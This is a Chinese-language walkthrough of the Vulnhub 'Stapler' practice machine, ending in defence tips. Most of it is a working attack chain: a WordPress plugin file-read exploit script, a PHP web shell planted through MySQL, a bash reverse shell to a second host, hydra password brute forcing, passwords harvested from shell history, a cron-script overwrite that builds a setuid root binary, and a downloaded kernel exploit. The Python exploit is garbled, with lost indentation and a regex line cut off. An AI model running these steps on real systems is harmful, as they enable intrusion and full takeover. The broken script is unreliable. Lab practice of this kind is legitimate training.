[Vulnhub] Stapler wp-videos+ftp+smb+bash_history权限提升+SUID权限提升+Kernel权限提升
字数 1771 2025-08-19 12:41:30
Stapler靶机渗透测试详细教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行全端口扫描:
nmap -p- 192.168.8.106 --min-rate 1000 -sC -sV
扫描结果摘要:
- 21/tcp: FTP (vsftpd 3.0.3) - 允许匿名登录
- 22/tcp: SSH (OpenSSH 7.2p2 Ubuntu 4)
- 53/tcp: DNS (dnsmasq 2.75)
- 80/tcp: HTTP (PHP cli server 5.5或更高版本)
- 139/tcp: SMB (Samba 3.X-4.X)
- 666/tcp: 未知服务
- 3306/tcp: MySQL (5.7.12-0ubuntu1)
- 12380/tcp: HTTP (Apache 2.4.18)
1.2 服务枚举
FTP服务
匿名登录FTP:
ftp 192.168.8.106
用户名: anonymous
密码: (任意或留空)
发现PASV模式失败,无法列出目录。
HTTP服务
- 主HTTP服务(80端口)返回404
- HTTPS服务(12380端口)运行WordPress
使用DIRB进行目录扫描:
dirb https://192.168.8.106:12380
发现/robots.txt和/blogblog/路径。
WordPress扫描
使用WPScan扫描WordPress:
wpscan --url "https://192.168.8.106:12380/blogblog/" --enumerate ap,u --disable-tls-checks
发现插件advanced-video-embed-embed-videos-or-playlists v1.0存在漏洞。
2. 初始入侵
2.1 WordPress插件漏洞利用
利用advanced-video-embed-embed-videos-or-playlists插件的LFI漏洞获取wp-config.php文件:
import random
import urllib2
import re
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
url = "https://192.168.8.106:12380/blogblog"
randomID = long(random.random() * 100000000000000000L)
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content = objHtml.readlines()
for line in content:
numbers = re.findall(r'\d+',line)
id = numbers[-1]
id = int(id) / 10
objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()
for line in content:
if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
urls=re.findall('"(https?line)
print urllib2.urlopen(urls[0]).read()
2.2 获取数据库凭据
从wp-config.php中获取MySQL凭据:
- 用户名: root
- 密码: plbkac
2.3 访问phpMyAdmin
访问https://192.168.8.106:12380/phpmyadmin/并使用root凭据登录。
查看WordPress用户表:
SELECT user_login, user_pass FROM wp_users;
2.4 上传Web Shell
在MySQL中执行以下命令上传PHP shell:
SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE "/var/www/https/blogblog/wp-content/uploads/shell.php";
访问shell并获取反向连接:
https://192.168.8.106:12380/blogblog/wp-content/uploads/shell.php?cmd=/bin/bash+-c+'bash+>&+/dev/tcp/192.168.8.107/10032+0>&1'
3. 权限提升
3.1 枚举SMB用户
使用enum4linux枚举SMB用户:
enum4linux 192.168.8.106
3.2 FTP暴力破解
从/home/note文件中获取可能的用户名列表,使用hydra进行FTP暴力破解:
hydra -L users.txt -e nsr ftp://192.168.8.106
成功凭据:
- 用户名: SHayslett
- 密码: SHayslett
- 用户名: elly
- 密码: ylle (用户名反转)
3.3 获取/etc/passwd
通过FTP获取/etc/passwd文件,分析系统用户。
3.4 SSH暴力破解
使用hydra对SSH进行暴力破解:
hydra -L users.txt -e nsr ssh://192.168.8.106
3.5 利用Bash历史记录
查找.bash_history文件:
find /home -name ".bash_history" -exec cat {} \;
发现凭据:
- 用户名: JKanode
- 密码: thisimypassword
- 用户名: peter
- 密码: JZQuyIN5
3.6 通过peter用户提权
切换到peter用户:
su peter
密码: JZQuyIN5
检查sudo权限:
sudo -l
利用find命令提权:
sudo find . -exec /bin/sh \; -quit
3.7 SUID提权
使用linuxprivchecker.py查找SUID提权机会:
python linuxprivchecker.py
发现定时任务/usr/local/sbin/cron-logrotate.sh以root权限运行。
创建恶意脚本:
echo -e 'chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;' > /usr/local/sbin/cron-logrotate.sh
编译setuid程序:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void){
setuid(0);
setgid(0);
system("/bin/bash");
}
编译:
gcc /tmp/setuid.c -o /tmp/setuid
等待定时任务执行后,运行setuid程序获取root shell:
/tmp/setuid
3.8 内核提权
下载并编译内核提权利用程序:
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
4. 关键知识点总结
- 信息收集:全面的端口扫描和服务识别是渗透测试的基础
- WordPress安全:插件漏洞是常见的攻击向量
- LFI漏洞利用:通过文件包含获取敏感信息
- 数据库安全:默认凭据和不当权限配置会导致严重安全问题
- 暴力破解:合理使用工具和字典可以提高成功率
- 历史记录分析:用户操作历史可能泄露敏感信息
- SUID提权:不当的文件权限设置会导致权限提升
- 定时任务利用:监控和分析系统定时任务
- 内核漏洞利用:了解系统内核版本和对应漏洞
5. 防御建议
- 及时更新所有软件和插件
- 禁用不必要的服务和匿名登录
- 使用强密码策略和账户锁定机制
- 限制数据库用户的权限
- 定期检查系统SUID文件和定时任务
- 保持内核和系统更新
- 配置适当的日志监控和告警
- 实施最小权限原则